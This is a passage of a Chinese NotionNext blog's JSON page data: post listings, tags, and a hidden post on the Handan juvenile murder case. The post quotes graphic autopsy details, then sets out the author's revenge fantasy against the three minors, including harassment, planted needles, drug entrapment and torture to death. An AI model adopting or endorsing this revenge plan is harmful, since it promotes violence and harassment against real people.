持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"62779828-3770-4944-923d-0e0a307d9cfe","password":"e23a2064bb54b827b6a7afb0385aca21","date":{"start_date":"2024-03-22","date_format":"relative"},"type":"Post","category":"心情随笔","slug":"article/240322-angry","tags":["思考"],"summary":"记下来","title":"控制愤怒—邯郸未成年杀人案","status":"Invisible","publishDate":1711065600000,"publishDay":"2024-3-22","lastEditedDate":"2024-03-24T13:11:09.207Z","lastEditedDay":"2024-3-24","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","pageCoverThumbnail":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","tagItems":[{"name":"思考","color":"yellow"}],"blockMap":{"block":{"62779828-3770-4944-923d-0e0a307d9cfe":{"value":{"id":"62779828-3770-4944-923d-0e0a307d9cfe","version":647,"type":"page","content":["68d5a6f5-04eb-4000-84b4-12a4b26ebbd6","9203ae03-d45c-4f73-9780-c4a596383e62","54ae27d7-911b-432f-a21c-d89add64c4b7","e69c165b-bc10-477e-9ea9-77e2d3c3a97f","9f444f62-c23c-4ddb-b3e6-e3ffce4165fa","c1011ac4-c92c-4417-bfaa-aa9a99b9a333","3e3937d1-ae9c-4c17-93a2-0b9b8cf21613","12df1d73-0b3b-468f-be78-4085aa672e7e","065d82bc-b9b8-4a23-8301-0a7184f6555e","49e2b9c2-57cf-4903-b023-891390a5f5e6","e5bbc1aa-4cce-4100-97cc-7e91a5bfd887","c2701d9a-b9be-4146-8cef-9f7ba9bb77f4","c387abb8-0f80-4386-b76a-62d9a062aace","4378f4a3-7730-400b-85c9-7ad572373c02","6f6df956-6233-41e1-b8b6-04276df78565","39239fb6-ff0b-4a2b-aaab-256e40ef3929","9d3fc26e-b533-4151-8e93-4ee92ef74512","39104598-89f2-4f9d-b873-fce46e305dce","e5cbb4cc-f1f9-462b-b473-aa1a25b13af2","79ab1d91-a3d8-45cd-9a00-ec9ebf07af1e","8c917035-dac2-4707-8333-347a39998592","4b61301c-9884-462c-ad6c-d7fd8447cd47","75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","db2f6108-70f4-48de-86ca-b786f1a84a61"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1711119078976,"last_edited_time":1711285869207,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"68d5a6f5-04eb-4000-84b4-12a4b26ebbd6":{"value":{"id":"68d5a6f5-04eb-4000-84b4-12a4b26ebbd6","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"9203ae03-d45c-4f73-9780-c4a596383e62":{"value":{"id":"9203ae03-d45c-4f73-9780-c4a596383e62","type":"header","properties":{"title":[["愤怒"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084262,"last_edited_time":1711119599647,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"54ae27d7-911b-432f-a21c-d89add64c4b7":{"value":{"id":"54ae27d7-911b-432f-a21c-d89add64c4b7","type":"image","properties":{"size":[["216.0KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/7b3fc4da-dd05-483c-99f8-65ecd595269c/Untitled.png"]]},"format":{"block_width":630,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/7b3fc4da-dd05-483c-99f8-65ecd595269c/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.3726541554959786,"block_preserve_scale":true},"created_time":1711119591167,"last_edited_time":1711119596222,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"file_ids":["7b3fc4da-dd05-483c-99f8-65ecd595269c"]}},"e69c165b-bc10-477e-9ea9-77e2d3c3a97f":{"value":{"id":"e69c165b-bc10-477e-9ea9-77e2d3c3a97f","type":"quote","properties":{"title":[["2024年3月11日下午4:00,河北-邯郸-肥乡区-北高镇张庄村,警方发现了失踪了二十几个小时[王子耀]的尸体。\n\n2024年3月18日,[王子耀]父亲和臧梵清律师共同见证了尸检的过程。"]]},"created_time":1711119659021,"last_edited_time":1711120615725,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"9f444f62-c23c-4ddb-b3e6-e3ffce4165fa":{"value":{"id":"9f444f62-c23c-4ddb-b3e6-e3ffce4165fa","type":"header","properties":{"title":[["思考"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084262,"last_edited_time":1711122036789,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"c1011ac4-c92c-4417-bfaa-aa9a99b9a333":{"value":{"id":"c1011ac4-c92c-4417-bfaa-aa9a99b9a333","type":"text","properties":{"title":[["这几天来来回回刷,看臧梵清律师采访,看[王子耀]父亲采访,看社会各界评论,追海内外事件报道。我无法压抑心中的怒火,我清楚3名畜生的结局。他们一定会在出狱后某个傍晚就着啤酒哄笑到,那次谁下手最狠,谁又是怂逼。"]]},"created_time":1711119881948,"last_edited_time":1711120592022,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"3e3937d1-ae9c-4c17-93a2-0b9b8cf21613":{"value":{"id":"3e3937d1-ae9c-4c17-93a2-0b9b8cf21613","type":"quote","properties":{"title":[["臧梵清律师采访 —《澎湃新闻》\n\n“脸部 从这个位置 一直到这个位置”\n“大概有十处刀伤 钝器物的伤口”\n“有可能是铁锹铲进去的”\n“有的这么长 有的这么长”\n“有的这么深”\n”一只眼睛的眼珠子已经翻出来了”\n”颈部 我数了一下大概有七道(伤痕)”\n”腰部大概有七八道 一开始我以为是棍子打击的”\n”后来开腹打开之后”\n”肝脏后面有这么大的一个出血口”\n”前面没有问题”\n”很有可能是从后面 有小孔贯穿进去”\n”[王子耀]的一只手 食指肿胀发青”\n”这个手这个位置断裂”\n"]]},"created_time":1711120599335,"last_edited_time":1711121099509,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"12df1d73-0b3b-468f-be78-4085aa672e7e":{"value":{"id":"12df1d73-0b3b-468f-be78-4085aa672e7e","type":"text","properties":{"title":[["我快丧失理智了,我这几天脑子里始终在复盘如何上刑才能解我心头之恨。"]]},"created_time":1711120805875,"last_edited_time":1711121164966,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"065d82bc-b9b8-4a23-8301-0a7184f6555e":{"value":{"id":"065d82bc-b9b8-4a23-8301-0a7184f6555e","type":"text","properties":{"title":[["我是极端tryCatch爱好者,我会考虑许多不管概率大小的潜在风险。我下意识的会去想我该怎么办,我是这名父亲我该怎么办。"]]},"created_time":1711121165754,"last_edited_time":1711121286007,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"49e2b9c2-57cf-4903-b023-891390a5f5e6":{"value":{"id":"49e2b9c2-57cf-4903-b023-891390a5f5e6","type":"image","properties":{"size":[["185.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e645683e-cc5d-4e34-8f89-2190f4ff0a97/Untitled.png"]]},"format":{"block_width":590,"block_height":416,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e645683e-cc5d-4e34-8f89-2190f4ff0a97/Untitled.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":0.7050847457627119,"block_preserve_scale":true},"created_time":1711121304072,"last_edited_time":1711121307405,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"file_ids":["e645683e-cc5d-4e34-8f89-2190f4ff0a97"]}},"e5bbc1aa-4cce-4100-97cc-7e91a5bfd887":{"value":{"id":"e5bbc1aa-4cce-4100-97cc-7e91a5bfd887","type":"text","properties":{"title":[["由于三名畜生都是未成年,死刑不可能,就算万民血书,也不能专开这个口子。"]]},"created_time":1711120647926,"last_edited_time":1711121567909,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"c2701d9a-b9be-4146-8cef-9f7ba9bb77f4":{"value":{"id":"c2701d9a-b9be-4146-8cef-9f7ba9bb77f4","type":"text","properties":{"title":[["杀人偿命确实天经地义,可中国太大了,每天形形色色的犯罪数不胜数,未成年被保护不受死刑,可以避免许多冤假错案。试想我的12岁孩子如果被特权阶层威逼杀人,没有舆论,严刑逼供,直接判成恶性故意杀人铁案。"]]},"created_time":1711121599935,"last_edited_time":1711122045243,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"c387abb8-0f80-4386-b76a-62d9a062aace":{"value":{"id":"c387abb8-0f80-4386-b76a-62d9a062aace","type":"header","properties":{"title":[["如何"]]},"created_time":1711122045243,"last_edited_time":1711122053899,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"4378f4a3-7730-400b-85c9-7ad572373c02":{"value":{"id":"4378f4a3-7730-400b-85c9-7ad572373c02","type":"quote","properties":{"title":[["[王子耀]父亲采访 —《看看新闻》\n\n“我不甘心”\n“我就要弄清楚”\n“我这么好的一个孩子”\n"]]},"created_time":1711122058327,"last_edited_time":1711122198938,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"6f6df956-6233-41e1-b8b6-04276df78565":{"value":{"id":"6f6df956-6233-41e1-b8b6-04276df78565","type":"text","properties":{"title":[["我当然只想杀了这三个狗日的,但是我不能这样做,这样不能利益最大化。\n我要把愤怒转化成一个极其精密的复仇工程。\n我会一辈子游走在法律边缘,让这三个畜生从头到尾的毁灭才是我最大的动力。"]]},"created_time":1711120628009,"last_edited_time":1711122385872,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"39239fb6-ff0b-4a2b-aaab-256e40ef3929":{"value":{"id":"39239fb6-ff0b-4a2b-aaab-256e40ef3929","type":"text","properties":{"title":[["\n来,你们三个畜生看着我眼睛:\n我会让你持续在高压的舆论环境中社会性死亡\n在日日夜夜的街头,你总能踩到艾滋病毒的针头"]]},"created_time":1711122386421,"last_edited_time":1711122713684,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"9d3fc26e-b533-4151-8e93-4ee92ef74512":{"value":{"id":"9d3fc26e-b533-4151-8e93-4ee92ef74512","type":"text","properties":{"title":[["你隐姓埋名进的每一个黑厂,第二天老板都会收到莫名的电话轰炸"]]},"created_time":1711122809122,"last_edited_time":1711122868371,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"39104598-89f2-4f9d-b873-fce46e305dce":{"value":{"id":"39104598-89f2-4f9d-b873-fce46e305dce","type":"text","properties":{"title":[["你父母也必须社会性死亡,家庭每天充斥的都是悦耳的争吵\n他们把所有家庭的不幸,都怪罪于你"]]},"created_time":1711122583422,"last_edited_time":1711122899994,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"e5cbb4cc-f1f9-462b-b473-aa1a25b13af2":{"value":{"id":"e5cbb4cc-f1f9-462b-b473-aa1a25b13af2","type":"text","properties":{"title":[["可是你没错,你现在成年了,拿着这把铁锹直接挥向他们"]]},"created_time":1711122902623,"last_edited_time":1711122963327,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"79ab1d91-a3d8-45cd-9a00-ec9ebf07af1e":{"value":{"id":"79ab1d91-a3d8-45cd-9a00-ec9ebf07af1e","type":"text","properties":{"title":[["你一定忍不住尝一口drug,你是忍不住的,不是我强行喂的\n你没钱了啊,你非要去送这一单drug\n没办法,叔叔那边缺点任务指标"]]},"created_time":1711122725898,"last_edited_time":1711122971616,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"8c917035-dac2-4707-8333-347a39998592":{"value":{"id":"8c917035-dac2-4707-8333-347a39998592","type":"text","properties":{"title":[["\n如果以上方法效果我不满意,必须有兜底机制,折磨致死也不迟。"]]},"created_time":1711122680017,"last_edited_time":1711123114185,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"4b61301c-9884-462c-ad6c-d7fd8447cd47":{"value":{"id":"4b61301c-9884-462c-ad6c-d7fd8447cd47","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084262,"last_edited_time":1711119084262,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1":{"value":{"id":"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","type":"column_list","content":["e47e97cd-2e5a-4f01-86c9-297f278a012c","5396a260-c16a-4da5-9324-b64f4d1a4f46","c28bcbf2-1f56-480b-be97-471efef9a57b"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084262,"last_edited_time":1711119084262,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"db2f6108-70f4-48de-86ca-b786f1a84a61":{"value":{"id":"db2f6108-70f4-48de-86ca-b786f1a84a61","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"e47e97cd-2e5a-4f01-86c9-297f278a012c":{"value":{"id":"e47e97cd-2e5a-4f01-86c9-297f278a012c","type":"column","content":["1f3381bc-eb00-4d61-8f6e-5c5e09f4a5cd"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe